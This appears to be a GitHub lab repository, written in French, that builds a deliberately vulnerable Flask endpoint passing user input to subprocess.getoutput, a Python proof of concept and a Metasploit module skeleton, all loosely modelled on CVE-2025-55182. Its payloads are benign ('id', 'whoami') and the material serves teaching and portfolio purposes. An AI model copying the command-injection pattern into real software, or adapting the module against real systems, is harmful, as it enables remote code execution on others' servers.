nulltrace1336/cve-2025-55182-metasploit-exploit-skeleton-real-flow-Ci-dessous le plan complet du LAB : demo-vulnerable app → Python PoC → Metasploit exploit skeleton
Nous créons une logique similaire à CVE-2025-55182 (exécution côté serveur non sécurisée).
📁 vuln_app/app.py
from flask import Flask, request
import subprocess
app = Flask(__name__)
@app.route("/render", methods=["POST"])
def render():
data = request.json.get("component")
# ❌ VULNÉRABLE : entrée utilisateur dans l'exécution de commande
result = subprocess.getoutput(data)
return result
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)
Lancement :
pip install flask
python app.py
entrée côté serveur → exécution
Ceci est uniquement pour prouver la présence d'une RCE.
📁 poc.py
import requests
url = "http://127.0.0.1:3000/render"
payload = {
"component": "id"
}
r = requests.post(url, json=payload)
print("[+] Server response:")
print(r.text)
Si la sortie est :
uid=1000(user) gid=1000(user)
✅ RCE CONFIRMED (LAB)
Il s'agit d'un format de framework professionnel, mais non weaponisé.
📁 Emplacement
~/.msf4/modules/exploits/linux/http/lab_react_like_rce.rb
📄 lab_react_like_rce.rb
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'LAB React-like Server RCE',
'Description' => %q{
Demonstration exploit for unsafe server-side execution.
Tested only in a controlled lab environment.
},
'Author' => ['Behruz'],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2025-01-01',
'DefaultTarget' => 0
))
register_options([
OptString.new('TARGETURI', [true, 'Vulnerable endpoint', '/render'])
])
end
def exploit
print_status("Sending lab command execution request")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'data' => {
'component' => 'whoami'
}.to_json
})
print_good("Request sent (LAB validation only)")
end
end
Utilisation :
msfconsole
use exploit/linux/http/lab_react_like_rce
set RHOSTS 127.0.0.1
run
📌 Ici :
❌ Aucun reverse shell
✅ Connaissance du framework + logique d'exploit présentes
Sur GitHub, cela devrait ressembler à :
lab-react-like-rce/
├─ vuln_app/
│ └─ app.py
├─ poc/
│ └─ poc.py
├─ metasploit/
│ └─ lab_react_like_rce.rb
├─ README.md
## Description
This project demonstrates a lab-based server-side code execution
vulnerability inspired by modern RCE CVEs.
## Scope
- Tested only in a controlled lab environment
- No real-world systems were targeted
## Skills Demonstrated
- Vulnerability analysis
- Python PoC development
- Custom Metasploit module creation